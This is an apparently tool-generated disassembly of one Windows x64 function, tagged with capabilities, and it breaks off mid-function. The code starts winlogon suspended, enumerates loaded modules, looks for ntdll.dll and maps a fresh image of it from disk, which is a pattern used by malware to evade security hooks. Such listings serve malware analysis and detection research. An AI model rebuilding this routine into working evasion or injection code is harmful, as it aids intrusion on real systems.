Function at 0x10014230
Capabilities:
Create process on windows
Create process suspended
Enumerate process modules
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x3d8
movdqa xmmword [rsp + 0x3c0], xmm15
movdqa xmmword [rsp + 0x3b0], xmm14
movdqa xmmword [rsp + 0x3a0], xmm13
movdqa xmmword [rsp + 0x390], xmm12
movdqa xmmword [rsp + 0x380], xmm11
movdqa xmmword [rsp + 0x370], xmm10
movdqa xmmword [rsp + 0x360], xmm9
movaps xmmword [rsp + 0x350], xmm8
movaps xmmword [rsp + 0x340], xmm7
movdqa xmmword [rsp + 0x330], xmm6
mov qword [rsp + 0xf0], rcx
pxor xmm6, xmm6
movdqa xmmword [rsp + 0x80], xmm6
mov qword [rsp + 0x90], 0
movdqa xmmword [rsp + 0x110], xmm6
movdqa xmmword [rsp + 0x170], xmm6
movdqa xmmword [rsp + 0x160], xmm6
movdqa xmmword [rsp + 0x150], xmm6
movdqa xmmword [rsp + 0x140], xmm6
movdqa xmmword [rsp + 0x130], xmm6
movdqa xmmword [rsp + 0x120], xmm6
mov dword [rsp + 0x110], 0x70
lea rax, [rsp + 0x80]
mov qword [rsp + 0x48], rax
lea rdi, [rsp + 0x110]
mov qword [rsp + 0x40], rdi
movdqu xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rdx, str.winlogon
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call sub.kernel32.dll_CreateProcessA
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xf8], rax
call sub.kernel32.dll_GetCurrentProcess
mov rbx, rax
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x110], 8
movdqu xmmword [rsp + 0x118], xmm6
mov dword [rsp + 0x80], 0
mov esi, 8
xor r14d, r14d
xor r15d, r15d
jmp 0x100143b1
mov r13, r12
mov qword [rsp + 0x120], r13
mov r14, r13
mov r15d, r12d
lea r8d, [r14*8]
mov dword [rsp + 0x20], 3
mov rcx, rbx
mov rdx, rsi
lea r9, [rsp + 0x80]
call sub.psapi.dll_EnumProcessModulesEx
test eax, eax
je 0x10015ed8
mov r12d, dword [rsp + 0x80]
cmp r12d, r15d
jbe 0x10014478
cmp r14, r12
jae 0x100143a0
mov r15, r12
sub r15, r14
mov rax, qword [rsp + 0x118]
sub rax, r14
mov r13, r14
cmp rax, r15
jb 0x10014438
lea rcx, [rsi + r13*8]
cmp r15, 2
jb 0x10014460
lea r8, [r15*8 - 8]
xor edx, edx
call sub.ntdll.dll_memset
lea rax, [r15 + r13]
lea rcx, [rsi + rax*8]
add rcx, 0xfffffffffffffff8
add r13, r15
dec r13
jmp 0x10014469
mov rcx, rdi
mov rdx, r14
mov r8, r15
call fcn.1004acf0
mov rsi, qword [rsp + 0x110]
mov r13, qword [rsp + 0x120]
lea rcx, [rsi + r13*8]
cmp r15, 2
jae 0x10014415
cmp r14, r12
je 0x100143a3
mov qword [rcx], 0
inc r13
jmp 0x100143a3
mov rcx, r12
shr rcx, 3
cmp r14, rcx
jb 0x10016055
mov ebp, eax
cmp r12d, 8
mov qword [rsp + 0xb8], rcx
jae 0x100154f7
mov eax, 8
mov qword [rsp + 0xa0], rax
xor r15d, r15d
cmp qword [rsp + 0x118], 0
je 0x100144c8
mov rcx, qword [0x100cf0d0]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
test ebp, ebp
je 0x10016066
test r15, r15
je 0x10015598
shl r15, 4
mov rcx, qword [rsp + 0xa0]
add r15, rcx
movabs rax, 0x6c642e6c6c64746e
movq xmm0, rax
movdqa xmm1, xmmword [0x1004f3a0]
paddb xmm1, xmm0
movdqa xmm2, xmmword [0x1004f3b0]
pmaxub xmm2, xmm1
pcmpeqb xmm2, xmm1
pandn xmm2, xmmword [0x1004f3c0]
por xmm2, xmm0
movdqa xmmword [rsp + 0x320], xmm2
lea rsi, [0x100bdc90]
mov r12d, 0xff
lea r14, [0x100bdd1c]
lea rax, str.library_alloc_src_str.rs_
mov qword [rsp + 0xc0], rax
movaps xmm7, xmmword [0x1004f300]
movdqa xmm9, xmmword [0x1004f320]
movdqa xmm10, xmmword [0x1004f330]
movdqa xmm11, xmmword [0x1004f340]
movdqa xmm12, xmmword [0x1004f350]
movdqa xmm13, xmmword [0x1004f360]
movdqa xmm14, xmmword [0x1004f370]
movdqa xmm15, xmmword [0x1004f380]
movdqa xmm6, xmmword [0x1004f390]
lea rax, str.library_std_src_sys_commonwtf8.rs
mov qword [rsp + 0xd8], rax
mov rbp, rcx
mov qword [rsp + 0x100], r15
nop word cs:[rax + rax]
mov rdi, qword [rbp]
mov rbx, qword [rbp + 8]
mov r8d, 0x208
lea r13, [rsp + 0x110]
mov rcx, r13
xor edx, edx
call sub.ntdll.dll_memset
mov rcx, qword [rdi]
mov qword [rsp + 0xe8], rbx
mov rdx, rbx
mov r8, r13
mov r9d, 0x104
call sub.psapi.dll_GetModuleBaseNameW
test eax, eax
je 0x10015fcf
mov qword [rsp + 0x108], rbp
mov r8d, eax
cmp eax, 0x105
jae 0x1001601c
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x110]
call fcn.100296c0
mov r13, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x90]
test rbp, rbp
je 0x100149c0
mov r15, r13
add r15, rbp
xor ebx, ebx
mov rcx, r13
jmp 0x1001467f
add rcx, 2
cmp rax, r15
cmovne rax, rcx
mov edx, 2
nop word cs:[rax + rax]
add rbx, rdx
mov rcx, rax
cmp rax, r15
je 0x100149c0
lea rax, [rcx + 1]
movzx r8d, byte [rcx]
mov edx, 1
test r8b, r8b
jns 0x10014670
cmp r8b, 0xe0
jb 0x10014655
cmp r8b, 0xed
jne 0x100146c7
cmp rax, r15
je 0x100149c0
lea rax, [rcx + 2]
cmp rax, r15
je 0x100149c0
cmp byte [rcx + 1], 0x9f
ja 0x100146fd
add rcx, 3
mov edx, 3
mov rax, rcx
jmp 0x10014670
add rcx, 2
cmp rax, r15
cmove rcx, rax
xor eax, eax
cmp rcx, r15
setne al
add rax, rcx
mov edx, 3
cmp r8b, 0xf0
jb 0x10014670
xor ecx, ecx
cmp rax, r15
setne cl
add rax, rcx
mov edx, 4
jmp 0x10014670
test rbp, rbp
js 0x10015f9d
movzx eax, byte [0x100cf160]
mov rax, qword [0x100cf0d0]
test rax, rax
jne 0x1001472e
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x10015f8e
mov qword [0x100cf0d0], rax
mov rcx, rax
xor edx, edx
mov r8, rbp
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x10015f8e
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbp
mov rdi, rbp
sub rdi, rbx
jb 0x100160f0
mov rcx, rax
mov rdx, r13
mov r8, rbx
mov qword [rsp + 0x70], rax
call sub.ntdll.dll_memcpy
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x60], rbx
mov r10, rbx
cmp rdi, 2
ja 0x1001479d
mov r8d, 3
lea rcx, [rsp + 0x50]
mov rdx, rbx
call fcn.1002a710
mov rcx, qword [rsp + 0x50]
mov r10, qword [rsp + 0x60]
mov byte [rcx + r10 + 2], 0xbd
mov word [rcx + r10], 0xbfef
add r10, 3
mov qword [rsp + 0x60], r10
add rbx, 3
cmp rbx, rbp
ja 0x100160d9
cmp rbx, rbp
je 0x100154ef
mov rdi, r13
lea r9, [rbx + r13]
mov r13, rbx
mov qword [rsp + 0xd0], r9
jmp 0x100147ff
add r9, 2
cmp rax, r15
cmovne rax, r9
mov edx, 2
nop dword [rax]
add r13, rdx
mov r9, rax
cmp rax, r15
je 0x10014961
lea rax, [r9 + 1]
movzx r8d, byte [r9]
mov edx, 1
test r8b, r8b
jns 0x100147f0
cmp r8b, 0xe0
jb 0x100147dd
cmp r8b, 0xed
jne 0x10014848
cmp rax, r15
je 0x10014961
lea rax, [r9 + 2]
cmp rax, r15
je 0x10014961
cmp byte [r9 + 1], 0xa0
jae 0x1001487e
add r9, 3
mov edx, 3
mov rax, r9
jmp 0x100147f0
add r9, 2
cmp rax, r15
cmove r9, rax
xor eax, eax
cmp r9, r15
setne al
add rax, r9
mov edx, 3
cmp r8b, 0xf0
jb 0x100147f0
xor edx, edx
cmp rax, r15
setne dl
add rax, rdx
mov edx, 4
jmp 0x100147f0
mov r8, r13
sub r8, rbx
jb 0x10016178
cmp r13, rbp
ja 0x1001618c
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, r10
cmp rax, r8
jae 0x100148cc
lea rcx, [rsp + 0x50]
mov rdx, r10
mov rbx, r8
call fcn.1002a710
mov r10, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x68], rax
mov r8, rbx
jmp 0x100148d1
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0xa8], r10
mov qword [rsp + 0x70], rcx
add rcx, r10
mov rdx, qword [rsp + 0xd0]
mov rbx, r8
call sub.ntdll.dll_memcpy
mov r10, qword [rsp + 0xa8]
add r10, rbx
mov qword [rsp + 0x60], r10
mov rax, qword [rsp + 0x68]
sub rax, r10
cmp rax, 2
ja 0x1001492e
mov r8d, 3
lea rcx, [rsp + 0x50]
mov rdx, r10
call fcn.1002a710
mov rcx, qword [rsp + 0x50]
mov r10, qword [rsp + 0x60]
jmp 0x10014933
mov rcx, qword [rsp + 0x70]
mov byte [rcx + r10 + 2], 0xbd
mov word [rcx + r10], 0xbfef
add r10, 3
mov qword [rsp + 0x60], r10
add r13, 3
mov rbx, r13
cmp r13, rbp
mov r13, rdi
jbe 0x100147c0
jmp 0x100160d9
mov r13, rdi
sub rbp, rbx
mov rax, qword [rsp + 0x58]
sub rax, r10
cmp rax, rbp
jae 0x1001498e
lea rcx, [rsp + 0x50]
mov rdx, r10
mov r8, rbp
call fcn.1002a710
mov rcx, qword [rsp + 0x50]
mov r10, qword [rsp + 0x60]
add r13, rbx
add rcx, r10
mov rdx, r13
mov r8, rbp
mov rdi, r10
call sub.ntdll.dll_memcpy
add rbp, rdi
mov rdi, qword [rsp + 0x50]
mov r13, qword [rsp + 0x58]
test rdi, rdi
jne 0x10014a26
nop word cs:[rax + rax]
test rbp, rbp
je 0x10014a10
js 0x10015f9d
movzx eax, byte [0x100cf160]
mov rax, qword [0x100cf0d0]
test rax, rax
jne 0x100149f3
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x10015f8e
mov qword [0x100cf0d0], rax
mov rcx, rax
xor edx, edx
mov r8, rbp
call sub.kernel32.dll_HeapAlloc
mov rdi, rax
test rax, rax
jne 0x10014a15
jmp 0x10015f8e
mov edi, 1
mov rcx, rdi
mov rdx, r13
mov r8, rbp
call sub.ntdll.dll_memcpy
mov r13, rbp
cmp qword [rsp + 0x88], 0
je 0x10014a47
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x100cf0d0]
xor edx, edx
call sub.kernel32.dll_HeapFree
test rbp, rbp
mov qword [rsp + 0xe0], rbp
mov qword [rsp + 0xc8], r13
mov qword [rsp + 0xa8], rdi
je 0x10014af0
js 0x10015f9d
movzx eax, byte [0x100cf160]
mov rax, qword [0x100cf0d0]
test rax, rax
jne 0x10014a96
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x10015f8e
mov qword [0x100cf0d0], rax
mov rcx, rax
xor edx, edx
mov r8, rbp
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x10015f8e
mov rbx, rax
cmp rbp, 0x10
jae 0x10014b00
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], rbp
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x68], rbp
mov rax, qword [rsp + 0xa8]
mov r13, rax
jmp 0x10014d06
mov ebx, 1
xor ebp, ebp
xor r15d, r15d
jmp 0x100153e8
xor eax, eax
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0xa8]
movdqu xmm0, xmmword [rcx + rax]
pshufd xmm3, xmm0, 0xee
movdqa xmm1, xmm3
por xmm1, xmm0
movq rcx, xmm1
movabs rdx, 0x8080808080808080
test rcx, rdx
jne 0x10014cc1
movq rcx, xmm0
movdqa xmm2, xmm0
psrlq xmm2, 0x20
movdqa xmm1, xmm3
psrlq xmm1, 0x18
shufps xmm1, xmm2, 0xe4
movdqa xmm2, xmm0
psrlq xmm2, 0x30
movdqa xmm4, xmm3
psrlq xmm4, 0x28
shufps xmm4, xmm2, 0xe4
andps xmm4, xmm7
andps xmm1, xmm7
packuswb xmm1, xmm4
movdqa xmm2, xmm0
psrlq xmm2, 0x10
psrlq xmm3, 8
shufps xmm3, xmm2, 0xe4
shr rcx, 0x38
movd xmm2, ecx
shufps xmm2, xmm0, 0xe4
andps xmm3, xmm7
andps xmm2, xmm7
packuswb xmm2, xmm3
movdqa xmm4, xmm0
psrlq xmm4, 0x18
pshufd xmm8, xmm0, 0x44
movdqa xmm3, xmm8
psrlq xmm3, 0x20
movsd xmm3, xmm4
movdqa xmm4, xmm0
psrlq xmm4, 0x28
movdqa xmm5, xmm8
psrlq xmm5, 0x30
movsd xmm5, xmm4
andpd xmm5, xmm7
andpd xmm3, xmm7
packuswb xmm3, xmm5
movdqa xmm4, xmm0
psrlq xmm4, 8
psrlq xmm8, 0x10
movsd xmm8, xmm4
shufps xmm8, xmm8, 0xe8
pshuflw xmm4, xmm8, 0xe8
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xe8
pand xmm4, xmmword [0x1004f310]
movdqa xmm5, xmm0
pand xmm5, xmm9
por xmm5, xmm4
movdqa xmm4, xmm10
pandn xmm4, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
packuswb xmm3, xmm3
packuswb xmm3, xmm3
psllq xmm3, 0x18
pand xmm3, xmm10
por xmm4, xmm3
pslldq xmm2, 7
movdqa xmm3, xmm11
pandn xmm3, xmm2
pand xmm4, xmm11
por xmm4, xmm3
packuswb xmm1, xmm1
packuswb xmm1, xmm1
pand xmm4, xmm12
pslldq xmm1, 0xb
por xmm1, xmm4
pand xmm1, xmm13
movdqa xmm2, xmm13
pandn xmm2, xmm0
por xmm2, xmm1
movdqa xmm0, xmm2
paddb xmm0, xmm14
movdqa xmm1, xmm0
pminub xmm1, xmm15
pcmpeqb xmm1, xmm0
pand xmm1, xmm6
por xmm1, xmm2
movdqu xmmword [rbx + rax], xmm1
lea r13, [rax + 0x10]
add rax, 0x20
cmp rax, rbp
mov rax, r13
jbe 0x10014b10
jmp 0x10014cc4
mov r13, rax
mov rax, rbp
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], rbp
mov qword [rsp + 0x120], r13
mov r15d, 1
sub rax, r13
mov qword [rsp + 0x68], rax
je 0x100153e8
mov rax, qword [rsp + 0xa8]
add r13, rax
mov rbp, qword [rsp + 0xe0]
add rax, rbp
mov qword [rsp + 0xd0], rax
xor ebx, ebx
mov rbp, r13
jmp 0x10014d60
lea eax, [r8 - 0x41]
xor ecx, ecx
cmp al, 0x1a
setb cl
shl ecx, 5
or ecx, r8d
mov r8d, ecx
lea rcx, [rsp + 0x110]
mov edx, r8d
call fcn.1000d4a0
sub rbx, rbp
mov rax, qword [rsp + 0x70]
add rbx, rax
mov rbp, rax
cmp rax, qword [rsp + 0xd0]
je 0x100153d0
movzx r8d, byte [rbp]
test r8b, r8b
js 0x10014e10
lea rax, [rbp + 1]
mov qword [rsp + 0x70], rax
cmp r8d, 0x3a3
je 0x10014ea0
cmp r8d, 0x110000
je 0x100153d0
cmp r8d, 0x80
jb 0x10014d20
mov eax, 0x57f
xor edx, edx
mov ecx, 0x57f
jmp 0x10014dbc
mov rcx, rax
sub rax, rdx
jbe 0x10014d34
shr rax, 1
add rax, rdx
xor r9d, r9d
lea r10, [0x100be578]
cmp dword [r10 + rax*8], r8d
setne r9b
cmovb r9d, r12d
cmp r9b, 1
je 0x10014db0
movzx edx, r9b
cmp edx, 0xff
jne 0x100150ee
inc rax
mov rdx, rax
mov rax, rcx
sub rax, rdx
ja 0x10014dbc
jmp 0x10014d34
mov eax, r8d
and eax, 0x1f
movzx edx, byte [rbp + 1]
and edx, 0x3f
cmp r8b, 0xdf
jbe 0x10014e76
movzx ecx, byte [rbp + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp r8b, 0xf0
jb 0x100150cb
movzx r8d, byte [rbp + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r8d, 0x3f
or r8d, ecx
or r8d, eax
cmp r8d, 0x110000
je 0x100153d0
lea rax, [rbp + 4]
mov qword [rsp + 0x70], rax
cmp r8d, 0x3a3
jne 0x10014d84
jmp 0x10014ea0
lea rcx, [rbp + 2]
mov qword [rsp + 0x70], rcx
shl eax, 6
or eax, edx
mov r8d, eax
cmp r8d, 0x3a3
jne 0x10014d84
nop word cs:[rax + rax]
test rbx, rbx
je 0x10014ebf
cmp rbx, qword [rsp + 0x68]
jae 0x10014eb9
cmp byte [r13 + rbx], 0xbf
jg 0x10014ebf
jmp 0x10015f69
jne 0x10015f69
lea rdx, [rbx + r13]
xor eax, eax
jmp 0x10014ede
mov al, 1
cmp ecx, 0x110000
jne 0x1001508d
cmp rdx, r13
je 0x10015350
movzx ecx, byte [rdx - 1]
test cl, cl
js 0x10014f00
dec rdx
jmp 0x10014f63
movzx r8d, byte [rdx - 2]
cmp r8b, 0xc0
jge 0x10014f30
movzx r9d, byte [rdx - 3]
cmp r9b, 0xc0
jge 0x10014f3a
movzx r10d, byte [rdx - 4]
add rdx, 0xfffffffffffffffc
and r10d, 7
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
jmp 0x10014f42
add rdx, 0xfffffffffffffffe
and r8d, 0x1f
jmp 0x10014f4d
add rdx, 0xfffffffffffffffd
and r9d, 0xf
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp ecx, 0x110000
je 0x10015350
test al, al
jne 0x10014ed0
mov r9d, ecx
shl r9d, 0xb
mov eax, 0x23
xor r8d, r8d
mov r10d, 0x23
jmp 0x10014f98
mov r10, rax
sub rax, r8
jbe 0x10014fd8
shr rax, 1
add rax, r8
mov edi, dword [rsi + rax*4]
shl edi, 0xb
xor r11d, r11d
cmp edi, r9d
setne r11b
cmovb r11d, r12d
cmp r11b, 1
je 0x10014f90
movzx r8d, r11b
inc rax
cmp r8d, 0xff
jne 0x10014fd5
mov r8, rax
mov rax, r10
sub rax, r8
ja 0x10014f98
jmp 0x10014fd8
mov r8, rax
cmp r8, 0x22
ja 0x10015eaf
mov eax, dword [rsi + r8*4]
shr rax, 0x15
cmp r8, 0x22
jne 0x10014ffe
mov r9d, 0x36b
mov r8d, 0x21
jmp 0x10015010
mov r9d, dword [rsi + r8*4 + 4]
shr r9, 0x15
xor r10d, r10d
sub r8, 1
jb 0x1001501d
mov r10d, dword [rsi + r8*4]
mov r8d, 0x1fffff
and r10d, r8d
mov r8, rax
not r8
add r8, r9
je 0x10015065
mov r8d, ecx
sub r8d, r10d
dec r9
xor r10d, r10d
mov r11, rax
nop word [rax + rax]
cmp r11, 0x36a
ja 0x10015a44
movzx edi, byte [r11 + r14]
add r10d, edi
cmp r10d, r8d
ja 0x1001506f
inc r11
cmp r9, r11
jne 0x10015040
mov rax, r9
test al, 1
je 0x10014ed0
jmp 0x1001507a
mov rax, r11
test al, 1
je 0x10014ed0
mov ecx, 0x110000
xor eax, eax
cmp ecx, 0x110000
je 0x10014ede
call fcn.100121a0
test al, al
je 0x10015350
mov r8, rbx
mov rdx, qword [rsp + 0x68]
add r8, 2
je 0x1001514b
mov rdx, qword [rsp + 0x68]
sub rdx, r8
jbe 0x10015145
cmp byte [r13 + r8], 0xc0
jge 0x1001514b
jmp 0x10016035
lea rdx, [rbp + 3]
mov qword [rsp + 0x70], rdx
shl eax, 0xc
or ecx, eax
mov r8d, ecx
cmp r8d, 0x3a3
jne 0x10014d84
jmp 0x10014ea0
lea rcx, [0x100be578]
mov r8d, dword [rcx + rax*8 + 4]
mov eax, r8d
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
setb al
cmp r8d, 0x110000
sete cl
or cl, al
mov eax, 0x69
cmovne r8d, eax
je 0x10014d34
lea rcx, [rsp + 0x110]
mov edx, r8d
call fcn.1000d4a0
mov r8d, 0x307
jmp 0x10014d34
jne 0x10016035
add r8, r13
add rdx, r8
xor eax, eax
jmp 0x1001517e
add r8, 2
shl r9d, 6
or r9d, r11d
mov ecx, r9d
test al, al
je 0x10015196
nop word [rax + rax]
mov al, 1
cmp ecx, 0x110000
jne 0x1001533a
cmp r8, rdx
je 0x100153a5
movzx ecx, byte [r8]
test cl, cl
js 0x10015200
inc r8
test al, al
jne 0x10015170
mov r10d, ecx
shl r10d, 0xb
mov eax, 0x23
xor r9d, r9d
mov r11d, 0x23
jmp 0x100151bc
mov r11, rax
sub rax, r9
jbe 0x1001526c
shr rax, 1
add rax, r9
mov r15d, dword [rsi + rax*4]
shl r15d, 0xb
xor edi, edi
cmp r15d, r10d
setne dil
cmovb edi, r12d
cmp dil, 1
je 0x100151b0
movzx r9d, dil
inc rax
cmp r9d, 0xff
jne 0x10015269
mov r9, rax
mov rax, r11
sub rax, r9
ja 0x100151bc
jmp 0x1001526c
mov r9d, ecx
and r9d, 0x1f
movzx r11d, byte [r8 + 1]
and r11d, 0x3f
cmp cl, 0xdf
jbe 0x10015155
movzx r10d, byte [r8 + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp cl, 0xf0
jb 0x1001531f
movzx ecx, byte [r8 + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and ecx, 0x3f
or ecx, r10d
or ecx, r9d
cmp ecx, 0x110000
je 0x100153a5
add r8, 4
test al, al
jne 0x10015170
jmp 0x10015196
mov r9, rax
cmp r9, 0x22
ja 0x10015ec5
mov eax, dword [rsi + r9*4]
shr rax, 0x15
cmp r9, 0x22
jne 0x10015292
mov r10d, 0x36b
mov r9d, 0x21
jmp 0x100152a4
mov r10d, dword [rsi + r9*4 + 4]
shr r10, 0x15
xor r11d, r11d
sub r9, 1
jb 0x100152b1
mov r11d, dword [rsi + r9*4]
mov r9d, 0x1fffff
and r11d, r9d
mov r9, rax
not r9
add r9, r10
je 0x100152f5
mov r9d, ecx
sub r9d, r11d
dec r10
xor r11d, r11d
mov rdi, rax
nop dword [rax + rax]
cmp rdi, 0x36a
ja 0x10015e8c
movzx r15d, byte [rdi + r14]
add r11d, r15d
cmp r11d, r9d
ja 0x100152ff
inc rdi
cmp r10, rdi
jne 0x100152d0
mov rax, r10
test al, 1
je 0x10015170
jmp 0x1001530a
mov rax, rdi
test al, 1
je 0x10015170
mov ecx, 0x110000
xor eax, eax
cmp ecx, 0x110000
je 0x1001517e
jmp 0x1001533a
add r8, 3
shl r9d, 0xc
or r10d, r9d
mov ecx, r10d
test al, al
jne 0x10015170
jmp 0x10015196
call fcn.100121a0
test al, al
je 0x100153a5
nop word cs:[rax + rax]
mov rax, qword [rsp + 0x118]
mov rdx, qword [rsp + 0x120]
sub rax, rdx
mov di, 0x83cf
cmp rax, 2
jae 0x10015388
mov r8d, 2
lea rcx, [rsp + 0x110]
call fcn.1000cdf0
mov rdx, qword [rsp + 0x120]
mov rax, qword [rsp + 0x110]
mov word [rax + rdx], di
add rdx, 2
mov qword [rsp + 0x120], rdx
jmp 0x10014d44
mov rax, qword [rsp + 0x118]
mov rdx, qword [rsp + 0x120]
sub rax, rdx
mov di, 0x82cf
cmp rax, 1
jbe 0x1001536d
jmp 0x10015388
mov rbx, qword [rsp + 0x110]
mov r15, qword [rsp + 0x118]
mov rbp, qword [rsp + 0x120]
movzx eax, byte [0x100cf160]
mov rax, qword [0x100cf0d0]
test rax, rax
je 0x10015410
mov rdi, qword [rsp + 0xc8]
jmp 0x1001542d
call sub.kernel32.dll_GetProcessHeap
test rax, rax
mov rdi, qword [rsp + 0xc8]
je 0x10015fbe
mov qword [0x100cf0d0], rax
mov r8d, 9
mov rcx, rax
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x10015fbe
mov byte [rax + 8], 0x6c
movdqa xmm0, xmmword [rsp + 0x320]
movq qword [rax], xmm0
cmp rbp, 9
jne 0x10015480
mov rcx, qword [rbx]
xor rcx, qword [rax]
movzx edx, byte [rbx + 8]
xor dl, byte [rax + 8]
movzx edx, dl
or rdx, rcx
sete bpl
jmp 0x10015482
xor ebp, ebp
mov rcx, qword [0x100cf0d0]
xor edx, edx
mov r8, rax
call sub.kernel32.dll_HeapFree
test r15, r15
je 0x100154a9
mov rcx, qword [0x100cf0d0]
xor edx, edx
mov r8, rbx
call sub.kernel32.dll_HeapFree
test rdi, rdi
mov r15, qword [rsp + 0x100]
je 0x100154cc
mov rcx, qword [0x100cf0d0]
xor edx, edx
mov r8, qword [rsp + 0xa8]
call sub.kernel32.dll_HeapFree
test bpl, bpl
jne 0x10015a67
mov rbp, qword [rsp + 0x108]
add rbp, 0x10
cmp rbp, r15
jne 0x100145c0
jmp 0x10015598
mov rbx, rbp
jmp 0x10014964
mov rdi, rcx
shl rdi, 4
movzx eax, byte [0x100cf160]
mov rcx, qword [0x100cf0d0]
test rcx, rcx
jne 0x10015529
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x10016081
mov rcx, rax
mov qword [0x100cf0d0], rax
xor edx, edx
mov r8, rdi
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x10016081
mov r9, rax
mov rax, qword [rsp + 0xb8]
lea rax, [rax*8]
xor ecx, ecx
lea rdx, [rsp + 0xb0]
xor r15d, r15d
nop dword [rax]
mov r8, qword [rsi + rcx]
mov qword [r9 + rcx*2], rdx
mov qword [r9 + rcx*2 + 8], r8
dec r15
add rcx, 8
cmp rax, rcx
jne 0x10015560
mov qword [rsp + 0xa0], r9
neg r15
cmp qword [rsp + 0x118], 0
jne 0x100144b7
jmp 0x100144c8
cmp qword [rsp + 0xb8], 0
je 0x100155b9
mov rcx, qword [0x100cf0d0]
xor edx, edx
mov r8, qword [rsp + 0xa0]
call sub.kernel32.dll_HeapFree
mov rcx, qword [rsp + 0xb0]
call sub.kernel32.dll_CloseHandle
mov dword [rsp + 0x7c], eax
test eax, eax
je 0x10015aa1
xor eax, eax
mov qword [rsp + 0xe8], rax
movzx eax, byte [0x100cf160]
mov rcx, qword [0x100cf0d0]
test rcx, rcx
jne 0x10015607
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x10016070
mov rcx, rax
mov qword [0x100cf0d0], rax
mov r8d, 0x10
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x10016070
mov word [rax], 0x43
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 8
mov qword [rsp + 0x120], 1
lea rbx, [0x100c57bb]
mov esi, 1
xor r13d, r13d
lea r14, [0x100c57d7]
lea r15, [0x100c57ba]
mov r12, 0xffffffffffffffff
lea rdi, [rsp + 0x110]
jmp 0x10015683
mov word [rax + rsi*2], r13w
inc rsi
mov qword [rsp + 0x120], rsi
mov r13d, ebp
test r13w, r13w
jne 0x10015710
cmp rbx, r14
je 0x100157a5
movzx ecx, byte [rbx]
test cl, cl
js 0x100156b1
inc rbx
mov r13d, ecx
xor ebp, ebp
cmp rsi, qword [rsp + 0x118]
jne 0x10015670
jmp 0x10015720
mov r13d, ecx
and r13d, 0x1f
movzx r8d, byte [rbx + 1]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x10015703
movzx edx, byte [rbx + 2]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp cl, 0xf0
jb 0x1001575a
movzx ecx, byte [rbx + 3]
add rbx, 4
and r13d, 7
shl r13d, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or r13d, ecx
cmp r13d, 0xffff
jbe 0x10015710
jmp 0x1001576e
add rbx, 2
shl r13d, 6
or r13d, r8d
nop
xor ebp, ebp
cmp rsi, qword [rsp + 0x118]
jne 0x10015670
mov r8, r15
sub r8, rbx
add r8, 0x1d
add r8, 3
cmovb r8, r12
shr r8, 2
cmp bp, 1
sbb r8, 0
add r8, 2
mov rcx, rdi
mov rdx, rsi
call fcn.10004d30
mov rax, qword [rsp + 0x110]
jmp 0x10015670
add rbx, 3
shl r13d, 0xc
or r13d, edx
cmp r13d, 0xffff
jbe 0x10015710
lea ecx, [r13 + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and r13d, 0x3ff
or r13d, 0xdc00
mov ebp, r13d
mov r13d, ecx
cmp rsi, qword [rsp + 0x118]
jne 0x10015670
jmp 0x10015720
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x90], rax
movdqu xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x80], xmm0
mov rsi, qword [rsp + 0x88]
cmp rax, rsi
jne 0x100157f4
lea rcx, [rsp + 0x80]
mov rdx, rsi
call fcn.1001cc10
mov rsi, qword [rsp + 0x88]
mov rax, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x80]
mov word [rbx + rax*2], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov rcx, rbx
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call sub.kernel32.dll_CreateFileW
mov rdi, rax
test rsi, rsi
je 0x1001584a
mov rcx, qword [0x100cf0d0]
xor edx, edx
mov r8, rbx
call sub.kernel32.dll_HeapFree
cmp rdi, 0xffffffffffffffff
je 0x10015a3a
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rdi
xor edx, edx
mov r8d, 0x1000002
